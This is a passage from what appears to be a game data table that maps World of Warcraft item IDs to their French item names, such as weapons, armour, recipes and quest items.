Wooden Handle Rounded Head",[5304]="Monster - Staff, Large Metal Shaft",[5305]="Monster - Sword, Broadsword Silver Hilt",[5306]="Bâton du coursier du vent",[5309]="Mousquet de corsaire",[5310]="Braies du loup de mer",[5311]="Bottes sanglées",[5312]="Gantelets à rivets",[5313]="Anneau de clan totémique",[5314]="Cape de chasseur de sanglier",[5315]="Garde-bras de bûcheron",[5316]="Tunique de nacrécorce",[5317]="Tunique de mousse sèche",[5318]="Hache de Zhovur",[5319]="Espauliers de fracas",[5320]="Bottes de lamelles matelassées",[5321]="Epée courte élégante",[5322]="Marteau de démolition",[5323]="Lanterne éternelle",[5324]="Marteau d\'ingénieur",[5325]="Bouclier soudé",[5326]="Férule éclairante",[5327]="Pantalon graisseux d\'artisan",[5328]="Ceinture sanglée",[5329]="Figurine de chat",[5332]="Figurine de chat luminescente",[5334]="Porto de 99 ans d\'âge",[5335]="Un sac de pièces",[5336]="Boucle d\'oreille de grell",[5337]="Gants de randonnée",[5338]="Ancien sceau de pierre de lune",[5339]="Fleur de serpent",[5340]="Touille-chaudron",[5341]="Tunique couverte de spores",[5342]="Punch du raptor",[5343]="Cape d\'aubergiste",[5344]="Hache à pointe",[5345]="Marteau en bois de pierre",[5346]="Arc d\'armes orc",[5347]="Baguette de pestilence",[5348]="Parchemin déchiré",[5349]="Muffin invoqué",[5350]="Eau invoquée",[5351]="Anneau du chasseur de primes",[5352]="Livre : Les puissances d\'en bas",[5354]="Lettre à Delgren",[5355]="Ceinturon de belluaire",[5356]="Bâtonnet de flétrissure",[5357]="Bouclier des vallons",[5359]="Manuscrit de Lorgalis",[5360]="Relique de Bien-né",[5361]="Cure-dents en arête de poisson",[5362]="Jouet pour chien",[5363]="Mouchoir plié",[5364]="Morceau de sel séché",[5366]="Gemme d\'âme luminescente",[5367]="Outil en pierre primitif",[5368]="Portefeuille vide",[5369]="Os rongé",[5370]="Pelle grossière",[5371]="Morceau de corail",[5373]="Porte-bonheur",[5374]="Petite montre gousset",[5375]="Bâton piquant",[5376]="Miroir brisé",[5377]="Coquille Saint-Jacques",[5379]="Couteau de jet brisé",[5382]="Pendentif d\'Anaya",[5383]="Tête d\'Athrikus Narassin",[5385]="Patte de clampant",[5386]="Belle peau de traquelune",[5387]="Cape enchantée de traquelune",[5388]="Crâne de Ran Dent-rouge",[5389]="Totem furbolg corrompu",[5390]="Message de Fandral",[5391]="Terre rare",[5392]="Dague du bois-chardon",[5393]="Bâton du bois-chardon",[5394]="Gants d\'entraînement d\'archer",[5395]="Bouclier forestier",[5396]="Clé de la gorge des Vents brûlants",[5397]="Poudre à canon des Défias",[5398]="Jambières de la canopée",[5399]="Bottes de pistage",[5404]="Epaulières ophidiennes",[5405]="Cape drapée",[5411]="Totem de purification de Sabot-d\'hiver",[5412]="Oeil de batteur",[5413]="Croc de traquelune",[5414]="Scalp vieilli",[5415]="Totem de purification de Corne-tonnerre",[5416]="Totem de purification de Crin-sauvage",[5417]="[Test] Arme de destruction massive",[5418]="[Test] Arme de destruction de masse",[5419]="Brassards farouches",[5420]="Armure de la banshee",[5421]="Enchantement d\'éclat flamboyant",[5422]="Jambières des ronces",[5423]="Croc de Boahn",[5424]="Statuette antique",[5425]="Ceinturon en écailles runiques",[5426]="Baiser du serpent",[5427]="Montre gousset grossière",[5428]="Un livre de cuisine exotique",[5429]="Un joli caillou",[5430]="Bijoux de pacotille",[5431]="Flacon vide",[5432]="Pipe en noyer",[5433]="Poupée de chiffon",[5435]="Zirgouflex rutilant",[5437]="Cheveu de Bathran",[5439]="Petit carquois",[5440]="Bouteille des maladies",[5441]="Petite sacoche de poudre",[5442]="Tête d\'Arugal",[5443]="Targe plaquée or",[5444]="Cape de mineur",[5445]="Anneau de Zoram",[5446]="Bracelet élémentaire rompu",[5447]="Bracelet élémentaire endommagé",[5448]="Bracelet élémentaire cassé",[5451]="Bracelet élémentaire écrasé",[5455]="Parchemin divin",[5456]="Parchemin de divination",[5457]="Griffe de Vaudou abîmée",[5458]="Ceinture de terrebois",[5459]="Hache de défenseur",[5460]="Jouvence d\'Orendil",[5461]="Branche de Cénarius",[5462]="Bâtonnet de transformation de Dartol",[5463]="Gemme luminescente",[5464]="Hampe en fer",[5465]="Petite patte d\'araignée",[5466]="Dard de scorpide",[5467]="Viande de kodo",[5468]="Chair tendre de Furie",[5469]="Viande de trotteur",[5470]="Queue de lézard-tonnerre",[5471]="Viande de cerf",[5472]="Kébab d\'araignée kaldorei",[5473]="Surprise du scorpide",[5474]="Viande de kodo rôtie",[5475]="Clé en bois",[5476]="Filet de furie",[5477]="Brouet de trotteur",[5478]="Brouet de rat",[5479]="Queue de lézard croquante",[5480]="Venaison dégraissée",[5481]="Cornes de satyre",[5482]="Recette : Kébab d\'araignée kaldorei",[5483]="Recette : Surprise du scorpide",[5484]="Recette : Viande de kodo rôtie",[5485]="Recette : Filet de furie",[5486]="Recette : Brouet de trotteur",[5487]="Recette : Brouet de rat",[5488]="Recette : Queue de lézard croquante",[5489]="Recette : Venaison dégraissée",[5490]="Tête d\'Irequeue",[5491]="Monster - Mace2H, Large Metal",[5493]="Larme d\'Élune",[5494]="Poignée de poussière d\'étoile",[5495]="Monster - Mace2H, Large Metal (1H, Special)",[5498]="Petite perle satinée",[5500]="Perle iridescente",[5502]="Monster - Sword2H, Broadsword (1H, Special)",[5503]="Chair de palourde",[5504]="Chair de palourde relevée",[5505]="Journal de Teronis",[5506]="Oeil pédonculé globuleux",[5507]="Longue-vue ornée",[5508]="Pierre de lune tombée",[5509]="Pierre de soins",[5510]="Pierre de soins supérieure",[5511]="Pierre de soins inférieure",[5512]="Pierre de soins",[5513]="Jade de mana",[5514]="Agate de mana",[5516]="Croc de battrodon",[5517]="Petite clé en bronze",[5518]="Petite clé en fer",[5519]="Pommeau en fer",[5520]="Journal de Velinde",[5521]="Clé de Velinde",[5522]="Pierre de sort",[5523]="Petite palourde spiralée",[5524]="Palourde à coque épaisse",[5525]="Palourdes bouillies",[5526]="Soupe de palourdes",[5527]="Palourdes gobelines",[5528]="Recette : Soupe de palourdes",[5529]="Poussière tombale",[5530]="Poudre aveuglante",[5532]="Monster - Hot Iron Poker",[5533]="Tome d\'Ilkrud Magthrull",[5534]="Repas de Parker",[5535]="Compendium des Déchus",[5536]="Mythologie des titans",[5537]="Tête de Sarilus Souillemporte",[5538]="Anneau de mariage de Vorrel",[5539]="Lettre de recommandation",[5540]="Dague à manche de perles",[5541]="Marteau iridescent",[5542]="Cape brodée de perles",[5543]="Plans : Marteau iridescent",[5544]="Assortiment de Griffe-de-sang",[5547]="Bâtonnet reconstitué",[5565]="Pierre infernale",[5566]="Ramure brisée",[5567]="Hameçon d\'argent",[5568]="Caillou lisse",[5569]="Algue",[5570]="Oeuf de mousses-profondes",[5571]="Petite bourse noire",[5572]="Petite bourse verte",[5573]="Sac vert en cuir",[5574]="Sac blanc en cuir",[5575]="Grand sac vert",[5576]="Grand sac brun",[5578]="Plans : Cuirasse en bronze argenté",[5579]="Marteau de guerre de la milice",[5580]="Marteau de la milice",[5581]="Bâton de marche lisse",[5582]="Sève des Serres-Rocheuses",[5583]="Ecaille de dragon-faë",[5584]="Moustache crépusculaire",[5585]="Oeil de coursier",[5586]="Lame du bois-chardon",[5587]="Massue de ronceterre",[5588]="Toxine de Lydon",[5589]="Gantelets couverts de mousse",[5590]="Brassards de corde",[5591]="Cape tachée de pluie",[5592]="Ceinturon d\'entrave",[5593]="Targe des rochers",[5594]="Lettre à Jin\'Zil",[5595]="Marteau du fourré",[5596]="Arc en bois de frêne",[5597]="Monster - Glaive - 2 Blade Red",[5598]="Monster - Glaive - 3 Blade",[5599]="Monster - Glaive - 4 Blade",[5600]="Monster - Claw - Bear",[5601]="Cocon d\'œufs éclos",[5602]="Toile d\'araignée collante",[5604]="Baguette elfique",[5605]="Serpette",[5606]="Gants de jardinage",[5608]="Capuche vivante",[5609]="Cordelière inébranlable",[5610]="Cape des terres venteuses",[5611]="Larme de douleur",[5612]="Crispins de lierre",[5613]="Bâton du purificateur",[5614]="Frappe du séraphin",[5615]="Epée d\'homme des bois",[5616]="Trucideur",[5617]="Jambières de vagabond",[5618]="Cape d\'éclaireur",[5619]="Flasque de jade",[5620]="Fiole de sang d\'innocent",[5621]="Flasque de tourmaline",[5622]="Anneau du clergé",[5623]="Flasque d\'améthyste",[5624]="Diadème de l\'ordre",[5626]="Brèche-crâne",[5627]="Lame relique",[5628]="Note de Zamah",[5629]="Gants poing-de-marteau",[5630]="Gants du vent mordant",[5631]="Potion de rage",[5633]="Potion de grande rage",[5634]="Potion de libre action",[5635]="Griffe aiguisée",[5636]="Plume délicate",[5637]="Grand croc",[5638]="Brouillard toxique",[5639]="Flasque de jade remplie",[5640]="Recette : Potion de rage",[5642]="Recette : Potion de libre action",[5643]="Recette : Potion de grande rage",[5645]="Flasque de tourmaline remplie",[5646]="Fiole d\'eau bénite",[5655]="Bride de jument alezane",[5656]="Bride de cheval bai",[5659]="Braises fumantes",[5664]="Shrapnel corrodé",[5665]="Cor du loup redoutable",[5668]="Cor du loup brun",[5669]="Débris de diable de poussière",[5675]="Ecailles de cristal",[5681]="Sève corrosive",[5686]="Tête d\'Ordanus",[5687]="Clé du gardien",[5689]="Clé du dormeur",[5690]="Clé des griffes",[5691]="Clé du refuge",[5692]="Détonateur à distance (Rouge)",[5693]="Détonateur à distance (Bleu)",[5694]="Explosifs NG-5 (Rouges)",[5695]="Explosifs NG-5 (Bleus)",[5717]="Lettres de la KapitalRisk",[5718]="Plans d\'ingénieur de la KapitalRisk",[5731]="Parchemin de contact",[5732]="NG-5",[5733]="Minerai non identifié",[5734]="Plan du Super-Découpeur 6000",[5735]="Enveloppe scellée",[5736]="Bras mécanique de Gerenzo",[5737]="Plans des opérations spéciales : Alpha & Bêta",[5738]="Sac des opérations spéciales",[5739]="Harnais barbare",[5740]="Fusée de feu d\'artifice rouge",[5741]="Morceau de rocher",[5744]="Dépeceuse pâle",[5745]="Monster - Trident, Wood Handle",[5746]="Monster - Trident, Copper",[5747]="Monster - Trident, Ornate",[5749]="Hache-faux",[5750]="Ceinturon de chef de guerre",[5751]="Cape d\'aile de toile",[5752]="Dard de wyverne",[5753]="Coiffure hérissée",[5754]="Médaillon de la meute",[5755]="Harnois de déchiqueteur en onyx",[5756]="Lame-esquille",[5757]="Casse-tête en bois dur",[5758]="Coffret en mithril",[5759]="Coffret de thorium",[5760]="Coffret en éternium",[5761]="Merlin de Courbenclume",[5762]="Sac rouge en lin",[5763]="Sac rouge en laine",[5764]="Sac vert en soie",[5765]="Sac noir en soie",[5766]="Robe de sorcier inférieur",[5767]="Robe pourpre",[5770]="Robe d\'Arcana",[5771]="Patron : Sac rouge en lin",[5772]="Patron : Sac rouge en laine",[5773]="Patron : Robe d\'Arcana",[5774]="Patron : Sac vert en soie",[5775]="Patron : Sac noir en soie",[5776]="Canne de doyen",[5777]="Hache de brave",[5778]="Canne de marche primitive",[5779]="Epée bâtarde de Réprouvé",[5780]="Ceinture en écailles de murloc",[5781]="Cuirasse en écailles de murloc",[5782]="Armure épaisse de murloc",[5783]="Brassards en écailles de murloc",[5784]="Ecailles de murloc visqueuses",[5785]="Ecailles de murloc épaisses",[5786]="Patron : Ceinture en écailles de murloc",[5787]="Patron : Cuirasse en écailles de murloc",[5788]="Patron : Armure épaisse de murloc",[5789]="Patron : Brassards en écailles de murloc",[5790]="Journal de Lonebrow",[5791]="Journal d\'Henrig Lonebrow",[5792]="Médaillon de Trancheflanc",[5793]="Cœur de Trancheflanc",[5794]="Venin de scorpide acide",[5795]="Carapace de tortue durcie",[5796]="Nageoire incrustée",[5797]="Paillette d\'indurium",[5798]="[PÉRIMÉ pour 4.x] Pièces de chariot explosif",[5799]="Commande de Kravel",[5800]="Pièces détachées de Kravel",[5801]="Guano du kraal",[5802]="Pièces de chariot fragiles",[5803]="Grain de poussière de rêve",[5804]="Rumeurs gobelines",[5805]="Cœur zélé",[5806]="Bière brune du Sot",[5807]="Rapport sur la bière brune du Sot",[5808]="Glande à venin d\'aile-fière",[5809]="Glande à venin de Haut-Perchoir",[5810]="Carcasse fraîche",[5811]="Crinière de Gueule-glacée",[5812]="Robe des temps anciens",[5813]="Brant d\'Emil",[5814]="Armure du ruisseau",[5815]="Pierre glaciaire",[5816]="Lumière d\'Élune",[5817]="Arc de Lunaris",[5818]="Baguette du rayon lunaire",[5819]="Camail d\'ensoleillement",[5820]="Mantelet féerique",[5824]="Tablette de volonté",[5825]="Pendentif de Treshala",[5826]="Plan de Kravel",[5827]="Lettre de Féplouf Zéboulon",[5829]="Bec acéré",[5830]="Tête de Kenata",[5831]="Tête de Fardel",[5832]="Tête de Marcel",[5833]="Minerai d\'indurium",[5834]="Tabac de Mok\'Morokk",[5835]="Tafia de Mok\'Morokk",[5836]="Coffre de Mok\'Morokk",[5837]="Côte de Broie-l\'acier",[5838]="Parchemin de peau de kodo",[5839]="Page de journal",[5840]="Langue d\'incendiaire",[5841]="Cœur d\'incendiaire",[5842]="Echantillon de minerai brut",[5843]="Griffes de Grenka",[5844]="Fragments de Rok\'Alim",[5846]="Note scellée de Korran",[5847]="Tête d\'Aileron boueux",[5848]="Os creux de vautour",[5849]="Caisse de casques anti-accidents",[5850]="Note scellée de Belgrom",[5851]="Clé de Cozzle",[5852]="Plans du régulateur de carburant",[5853]="Carapace de silithide intacte",[5854]="Serre de silithide",[5855]="Cœur de silithide",[5856]="Monster - Throwing Axe",[5860]="Héritage des Aspects",[5861]="Naissance de la menace des morts-vivants",[5862]="Lance-hydroglycérine",[5863]="Charte de guilde",[5864]="Bélier gris",[5865]="Lance-hydroglycérine modifié",[5866]="Echantillon de minerai d\'indurium",[5867]="Flasque d\'eau forte",[5868]="Flasque d\'eau forte remplie",[5869]="Sabot fendu",[5870]="Monster - Throwing Spear",[5871]="Grand sabot",[5872]="Bélier brun",[5873]="Bélier blanc",[5876]="Racines de feuillebleue",[5877]="Carapace de silithide craquelée",[5879]="Pendentif du Crépuscule",[5880]="Caisse percée",[5881]="Tête de Kelris",[5882]="Documents du capitaine",[5883]="Langue fourchue de Rochefange",[5884]="Oeil de Sombrebrume",[5897]="Manuel d\'utilisateur de Sniffetarin",[5917]="Rapport d\'espion",[5918]="Tête d\'orc défiant",[5919]="Bouclier en fer noirci",[5936]="Ceinture en peau d\'animal",[5938]="Patte de clampant en parfait état",[5939]="Gants de couture",[5940]="Targe en os",[5941]="Pantalon d\'écailles de cuivre",[5942]="Pendentif orné de joyaux",[5943]="Brassards de la faille",[5944]="Grèves de la milice du peuple",[5945]="Dent de Mortebourbe",[5946]="Note scellée à Elling",[5947]="Registre des Défias",[5948]="Lettre à Jorgen",[5950]="Ecusson de Reethe",[5951]="Chiffon à poussière",[5952]="Tronc cérébral corrompu",[5956]="Marteau de forgeron",[5957]="Gilet cousu main en cuir",[5958]="Pantalon raffiné en cuir",[5959]="Sac de venin acide",[5960]="Note scellée pour Backus",[5961]="Pantalon noir en cuir",[5962]="Pantalon du gardien",[5963]="Jambières barbares",[5964]="Epaulières barbares",[5965]="Cape du gardien",[5966]="Gants du gardien",[5967]="Ceinturon de noblesse",[5969]="Cape de régent",[5970]="Gants du serpent",[5971]="Cape ornée de plumes",[5972]="Patron : Pantalon raffiné en cuir",[5973]="Patron : Jambières barbares",[5974]="Patron : Cape du gardien",[5975]="Ceinture de forban",[5976]="Tabard de guilde",[5996]="Elixir de respiration aquatique",[5997]="Elixir de défense mineure",[5998]="Requête de Foudrepique",[6016]="Echantillon de cœur de loup",[6037]="Barre de vrai-argent",[6038]="Ardeur de palourde géante",[6039]="Recette : Ardeur de palourde géante",[6040]="Brassards en écailles dorées",[6041]="Dragonne en acier",[6042]="Pointe de bouclier en fer",[6043]="Contrepoids en fer",[6044]="Plans : Pointe de bouclier en fer",[6045]="Plans : Contrepoids en fer",[6046]="Plans : Dragonne en acier",[6047]="Plans : Camail en écailles dorées",[6048]="Potion de protection contre l\'Ombre",[6049]="Potion de protection contre le Feu",[6050]="Potion de protection contre le Givre",[6051]="Potion de protection contre le Sacré",[6052]="Potion de protection contre la Nature",[6053]="Recette : Potion de protection contre le Sacré",[6054]="Recette : Potion de protection contre l\'Ombre",[6055]="Recette : Potion de protection contre le Feu",[6056]="Recette : Potion de protection contre le Givre",[6057]="Recette : Potion de protection contre la Nature",[6058]="Ceinture en cuir noirci",[6059]="Gilet de nomade",[6060]="Brassards en lin",[6061]="Brassards grisepierre",[6062]="Brassards de corde épaisse",[6063]="Gantelets d\'acier glacé",[6064]="Disques de platine miniatures",[6065]="Essais de Khadgar sur la convergence dimensionnelle",[6066]="Tête du khan Dez\'hepah",[6067]="Oreille de centaure",[6068]="Recette : Huile des ténèbres",[6069]="Viande grossièrement séchée",[6070]="Brassards en peau de loup",[6071]="Cristal de draenéthyste",[6072]="Tête du khan Jehn",[6073]="Tête du khan Shaka",[6074]="Embouchure de cor de guerre",[6075]="Rapport de Vimaire",[6076]="Pantalon moulant",[6077]="Fragment de clé des Maraudine",[6078]="Bouclier du lancier",[6079]="Charme brut",[6080]="Cœur de panthère des ombres",[6081]="Champignon de Boueux",[6082]="Sang de dragonnet vert",[6083]="Larmes brisées",[6084]="Jambières de garde de Hurlevent",[6085]="Tunique de fantassin",[6086]="Sérum de vérité de Faustin",[6087]="Haut-de-chausses de la marche de l\'Ouest",[6088]="Monster - Torch, Ranged",[6089]="Bière de Zraedus",[6091]="Caisse de pierres de puissance",[6092]="Bottes de dragonnet noir",[6093]="Ecras\'orc",[6094]="Hache perforante",[6095]="Bottes d\'errance",[6096]="Chemise d\'apprenti",[6097]="Chemise d\'acolyte",[6098]="Robe de néophyte",[6116]="Robe d\'apprenti",[6117]="Chemise d\'écuyer",[6118]="Pantalon d\'écuyer",[6119]="Robe de néophyte",[6120]="Chemise de recrue",[6121]="Pantalon de recrue",[6122]="Bottes de recrue",[6123]="Robe de novice",[6124]="Pantalon de novice",[6125]="Harnais de bagarreur",[6126]="Pantalon du trappeur",[6127]="Bottes du trappeur",[6129]="Robe d\'acolyte",[6134]="Mantelet primitif",[6135]="Kilt primitif",[6136]="Chemise de nervi",[6137]="Pantalon de nervi",[6138]="Bottes de nervi",[6139]="Robe de novice",[6140]="Robe d\'apprenti",[6144]="Robe de néophyte",[6145]="Pendentif de Clarice",[6146]="Bois flotté séché au soleil",[6147]="Vieille ceinture miteuse",[6148]="Bottes poussiéreuses",[6149]="Potion de mana supérieure",[6150]="Nœud en tissu râpé",[6166]="Mâchoire de coyote",[6167]="Rapport de Neeka",[6168]="Griffe de Mordeur dents-de-scie",[6169]="Flanc de Dents-de-scie non préparé",[6170]="Composants pour les sorciers",[6171]="Gants d\'éleveur de loups",[6172]="Fournitures perdues",[6173]="Bottes des neiges",[6175]="Artéfact atal\'ai",[6176]="Grand écu nain",[6177]="Brassards en fer forgé",[6178]="Cargaison de Rempart-du-Néant",[6179]="Cape de corsaire",[6180]="Peau de Slark",[6181]="Fétiche d\'Hakkar",[6182]="Torche faible",[6183]="Torche éteint pauvre",[6184]="Patte de clampant monstrueux",[6185]="Châle de l\'ours",[6186]="Tranchoir de trogg",[6187]="Défenseur nain",[6188]="Ecrase-boue",[6189]="Epaulières en mailles durables",[6190]="Fragment de draenéthyste",[6191]="Bottes de Kimbra",[6193]="Artéfacts atal\'ai",[6194]="Faucheuse fulgurante",[6195]="Armure polie à la cire",[6196]="Casse-tête de Noboru",[6197]="Broigne en peau de croco du Loch",[6198]="Garde-poignets jurassiques",[6199]="Bague de la veuve noire",[6200]="Ceinture de guerre de Garneg",[6201]="Bottes souples",[6202]="Mitaines blindées",[6203]="Bouclier des nervis",[6204]="Coiffure tribale worg",[6205]="Pelle",[6206]="Brèche-roc",[6211]="Recette : Elixir de force d\'ogre",[6212]="Tête de Jammal\'an",[6214]="Maillet lourd en cuivre",[6215]="Trique de combat équilibrée",[6217]="Bâtonnet en cuivre",[6218]="Bâtonnet runique en cuivre",[6219]="Clé plate",[6220]="Eclat de météore",[6223]="Cimier de Sombre-comté",[6224]="Monster - Sword2H, Black Metal Hilt",[6225]="Monster - Item, Fish - Blue",[6226]="Tablier sanglant",[6227]="Monster - Item, Fish - Green",[6228]="Monster - Item, Fish - Orange",[6229]="Monster - Item, Fish - Purple",[6230]="Monster - Wand, Basic",[6231]="Monster - Wand, Jeweled - Green",[6232]="Monster - Item, Flowers - Bouquet Roses",[6233]="Monster - Item, Flowers - Bouquet Wildflowers",[6234]="Monster - Item, Flower - Long Blue",[6235]="Monster - Item, Flower - Rose (Black)",[6236]="Monster - Item, Flower - Rose (White)",[6237]="Monster - Item, Flowers - Bouquet Roses (Black)",[6238]="Robe marron en lin",[6239]="Gilet rouge en lin",[6240]="Gilet bleu en lin",[6241]="Robe blanche en lin",[6242]="Robe bleue en lin",[6245]="Sacoche de Karnitol",[6246]="Griffe de Fielfurie",[6247]="Corne de Fielfurie",[6248]="Venin scorpashi",[6249]="Cuir de vieux kodo",[6250]="Cervelle de gangrechien",[6251]="Aile du Néant",[6252]="Sang de garde funeste",[6253]="Caisse de Leftwitch",[6254]="Monster - Shield, Ironforge",[6256]="Canne à pêche",[6257]="Gésier de roc",[6258]="Foie de Ferpoil",[6259]="Foie de Groddoc",[6260]="Teinture bleue",[6261]="Teinture orange",[6263]="Salopette bleue",[6264]="Robe d\'adepte supérieur",[6265]="Eclat d\'âme",[6266]="Gilet de disciple",[6267]="Pantalon de disciple",[6268]="Tunique de pionnier",[6269]="Chausses de pionnier",[6270]="Patron : Gilet bleu en lin",[6271]="Patron : Gilet rouge en lin",[6272]="Patron : Robe bleue en lin",[6274]="Patron : Salopette bleue",[6275]="Patron : Robe d\'adepte supérieur",[6281]="Crâne de Cliquethorax",[6282]="Chausses de rituel funéraire",[6283]="Le Livre d\'Ur",[6284]="Runes d\'invocation",[6285]="Grimoire d\'Egalin",[6286]="Cœurs purs",[6287]="Fragment de tablette atal\'ai",[6288]="Tablette atal\'ai",[6289]="Lutjan à longue mâchoire cru",[6290]="Goujon brillant",[6291]="Goujon brillant cru",[6292]="Lutjan de 10 livres",[6293]="Sang séché de chauve-souris",[6294]="Lutjan de 12 livres",[6295]="Lutjan de 15 livres",[6296]="Poils de chauve-souris",[6297]="Vieux crâne",[6298]="Croc sanglant de chauve-souris",[6299]="Poisson maladif",[6300]="Fragment de peau",[6301]="Crâne du vieux Teamster",[6302]="Aile d\'insecte délicate",[6303]="Maquereau ombré cru",[6304]="Page de journal humide (Jour 4)",[6305]="Page de journal humide (Jour 87)",[6306]="Page de journal humide (Jour 512)",[6307]="Message dans une bouteille",[6308]="Poisson-chat moustachu cru",[6309]="Poisson-chat de 17 livres",[6310]="Poisson-chat de 19 livres",[6311]="Poisson-chat de 22 livres",[6312]="Cœur de Dalin",[6313]="Cœur de Comar",[6314]="Cape de maître des loups",[6315]="Arbalète à traits d\'acier",[6316]="Délice de furie du loch",[6317]="Furie du loch crue",[6318]="Bâton tellurique d\'Odo",[6319]="Ceinturon du guetteur aveugle",[6320]="Cimier de commandant",[6321]="Sceau de la famille d\'Argelaine",[6322]="Monster - Staff, Arugal",[6323]="Sceptre du baron",[6324]="Robe d\'Arugal",[6325]="Recette : Goujon brillant",[6326]="Recette : Maquereau ombré",[6327]="Le Pacificateur",[6328]="Recette : Lutjan à longue mâchoire",[6329]="Recette : Délice de furie du loch",[6330]="Recette : Poisson-chat moustachu",[6331]="Lame hurlante",[6332]="Anneau à la perle noire",[6333]="Dague du fouet épineux",[6334]="Monster - Mace, Green",[6335]="Bottes grisonnantes",[6336]="Tunique d\'infanterie",[6337]="Jambières d\'infanterie",[6338]="Bâtonnet en argent",[6339]="Bâtonnet runique en argent",[6340]="Peau de Fenrus",[6341]="Lanterne d\'écurie sinistre",[6342]="Formule : Enchantement de plastron (Mana mineur)",[6344]="Formule : Enchantement de brassards (Esprit mineur)",[6346]="Formule : Enchantement de plastron (Mana inférieur)",[6347]="Formule : Enchantement de brassards (Force mineure)",[6348]="Formule : Enchantement d\'arme (Tueur de bête mineur)",[6349]="Formule : Enchantement d\'arme 2M (Intelligence inférieure)",[6350]="Bottes grossières en bronze",[6351]="Caisse endommagée",[6352]="Caisse détrempée",[6353]="Petit coffre",[6354]="Petit coffre verrouillé",[6355]="Coffre solide verrouillé",[6356]="Coffre endommagé",[6357]="Caisse scellée",[6358]="Bouche-noire huileux",[6359]="Lutjan de nagefeu",[6360]="Poisson aux écailles d\'acier",[6361]="Thon arc-en-ciel cru",[6362]="Morue rochécaille crue",[6363]="Poisson-chat de 26 livres",[6364]="Poisson-chat de 32 livres",[6365]="Canne à pêche solide",[6366]="Canne à pêche en sombrebois",[6367]="Grande canne à pêche en fer",[6368]="Recette : Thon arc-en-ciel",[6369]="Recette : Morue rochécaille",[6370]="Huile de bouche-noire",[6371]="Huile de feu",[6372]="Potion de nage rapide",[6373]="Elixir de maîtrise du Feu",[6375]="Formule : Enchantement de brassards (Esprit inférieur)",[6377]="Formule : Enchantement de bottes (Agilité mineure)",[6378]="Cape de voyant",[6379]="Ceinture en cuir gravé",[6380]="Targe gravée",[6381]="Cape éclatante",[6382]="Ceinture sylvestre en cuir",[6383]="Targe sylvestre",[6384]="Chemise bleue d\'apparat",[6385]="Chemise verte d\'apparat",[6386]="Garde-jambes en mailles rougeoyantes",[6387]="Brassards en mailles rougeoyantes",[6388]="Espauliers en mailles rougeoyantes",[6389]="Camail en mailles rougeoyantes",[6390]="Patron : Chemise bleue d\'apparat",[6391]="Patron : Chemise verte d\'apparat",[6392]="Ceinture d\'Arugal",[6393]="Gants brochés d\'argent",[6394]="Bottes brochées d\'argent",[6395]="Amict broché d\'argent",[6396]="Plastron blasonné",[6397]="Gants blasonnés",[6398]="Ceinture blasonnée",[6399]="Epaulières blasonnées",[6400]="Bouclier rougeoyant",[6401]="Patron : Chemise noire en soie",[6402]="Jambières de guerre en mailles",[6403]="Garde-bras de guerre en mailles",[6404]="Spallières de guerre en mailles",[6405]="Chausses nocturnes",[6406]="Bottes nocturnes",[6407]="Protège-poignets nocturnes",[6408]="Gants à insigne",[6409]="Ceinture à insigne",[6410]="Brassards à insigne",[6411]="Armure de général de brigade",[6412]="Bottes de général de brigade",[6413]="Brassards de général de brigade",[6414]="Sceau de Sylvanas",[6415]="Robe de l\'aurore",[6416]="Bottes de l\'aurore",[6417]="Cape de l\'aurore",[6418]="Echarpe de l\'aurore",[6419]="Mitaines glyphées",[6420]="Bottes glyphées",[6421]="Ceinture glyphée",[6422]="Casque glyphé",[6423]="Grèves forgenoire",[6424]="Cape forgenoire",[6425]="Ceinturon forgenoire",[6426]="Brassards forgenoire",[6427]="Robe de Longuebrume",[6428]="Gants de Longuebrume",[6429]="Chapeau de sorcier de Longuebrume",[6430]="Cuirasse impériale en cuir",[6431]="Bottes impériales en cuir",[6432]="Cape impériale",[6433]="Casque impérial en cuir",[6434]="Monster - Shield, Stromgarde",[6435]="Gemme ardente infusée",[6436]="Gemme ardente",[6438]="Bracelet élémentaire terne",[6439]="Bracelets brisés",[6440]="Fouette-méninges",[6441]="Scalp de traqueur des ombres",[6442]="Cristal d\'oracle",[6443]="Peau de déviant",[6444]="Langue fourchue",[6445]="Peau de mue",[6446]="Sac en serpent",[6447]="Bouclier en écailles de tortue usé",[6448]="Dard",[6449]="Cape en écailles de lézard luminescentes",[6450]="Bandage en soie",[6451]="Bandage épais en soie",[6452]="Anti-venin",[6453]="Sérum anti-venin supérieur",[6454]="Manuel : Sérum anti-venin supérieur",[6455]="Vieille roue",[6456]="Gelée acide",[6457]="Mécanismes rouillés",[6458]="Poisson huileux",[6459]="Bottines sauvages",[6460]="Torsade de Cobrahn",[6461]="Ailettes visqueuses",[6462]="Caisse sûre",[6463]="Anneau des grandes profondeurs",[6464]="Essence de lamentation",[6465]="Robe du mocassin d\'eau",[6466]="Cape en écailles de déviant",[6467]="Gants en écailles de déviant",[6468]="Ceinture en écailles de déviant",[6469]="Frappe-venin",[6470]="Ecaille de déviant",[6471]="Ecaille de déviant parfaite",[6472]="Vipère cinglante",[6473]="Armure du Croc",[6474]="Patron : Cape en écailles de déviant",[6475]="Patron : Gants en écailles de déviant",[6476]="Patron : Ceinture en écailles de déviant",[6477]="Echarpe de la prairie",[6479]="Pendentif de Malem",[6480]="Jambières luisantes de déviant",[6481]="Gantelets Fangebourbe",[6482]="Bottes de marchefeu",[6486]="Ecaille roussie",[6487]="Tête de Vil quasit",[6488]="Tablette simple",[6502]="Broigne pourpre",[6503]="Robe bigarrée",[6504]="Lame ailée",[6505]="Bâton au croissant",[6506]="Bottes d\'infanterie",[6507]="Brassards d\'infanterie",[6508]="Cape d\'infanterie",[6509]="Ceinture d\'infanterie",[6510]="Gantelets d\'infanterie",[6511]="Robe de compagnon",[6512]="Robe de disciple",[6513]="Echarpe de disciple",[6514]="Cape de disciple",[6515]="Gants de disciple",[6517]="Ceinture de pionnier",[6518]="Bottes de pionnier",[6519]="Brassards de pionnier",[6520]="Cape de pionnier",[6521]="Gants de pionnier",[6522]="Poisson déviant",[6523]="Harnais à boucle",[6524]="Harnais en cuir clouté",[6525]="Harnais de grunt",[6526]="Harnais de combat",[6527]="Robe ancestrale",[6528]="Robe de lieur de sort",[6529]="Verroterie rutilante",[6530]="Asticots",[6531]="Robe barbare en tissu",[6532]="Verroterie",[6533]="Attracteur de poissons aquadynamique",[6534]="Barres d\'acier forgé",[6535]="Tablette de Verga",[6536]="Gilet du saule",[6537]="Bottes du saule",[6538]="Robe du saule",[6539]="Ceinture du saule",[6540]="Pantalon du saule",[6541]="Gants du saule",[6542]="Cape du saule",[6543]="Brassards du saule",[6545]="Armure de soldat",[6546]="Jambières de soldat",[6547]="Gantelets de soldat",[6548]="Ceinturon de 